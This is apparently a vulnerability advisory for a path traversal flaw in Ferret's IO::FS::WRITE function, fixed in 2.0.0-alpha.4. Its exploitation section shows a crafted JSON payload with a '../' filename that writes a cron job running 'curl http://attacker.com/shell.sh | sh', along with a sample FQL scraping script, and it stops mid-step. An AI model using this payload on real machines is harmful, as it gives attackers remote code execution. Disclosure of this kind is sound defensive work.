EUVD-2026-281023

fkie_cve-2026-34783

Ferret is a declarative system for working with web data. Prior to 2.0.0-alpha.4, a path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells. This vulnerability is fixed in 2.0.0-alpha.4.

GHSA-j6v5-g24h-vg4j — Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

Affected: Go: github.com/MontFerret/ferret/v2, Go: github.com/MontFerret/ferret

## Summary

A path traversal vulnerability in Ferret's `IO::FS::WRITE` standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing `../` sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

## Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

### Attack Flow

1. The attacker serves a JSON API with crafted filenames containing `../` traversal:

```json [ {"name": "legit-article", "content": "Normal content."}, {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"} ] ```

2. The victim runs a standard scraping script:

```fql LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"}) LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles LET path = "/tmp/ferret_output/" + article.name + ".txt" IO::FS::WRITE(path, TO_BINARY(article.content)) RETURN { written: path, name: article.name } ```

3. FQL string concatenation produces: `/tm…

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EUVD-2026-281023

fkie_cve-2026-34783

GHSA-j6v5-g24h-vg4j — Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites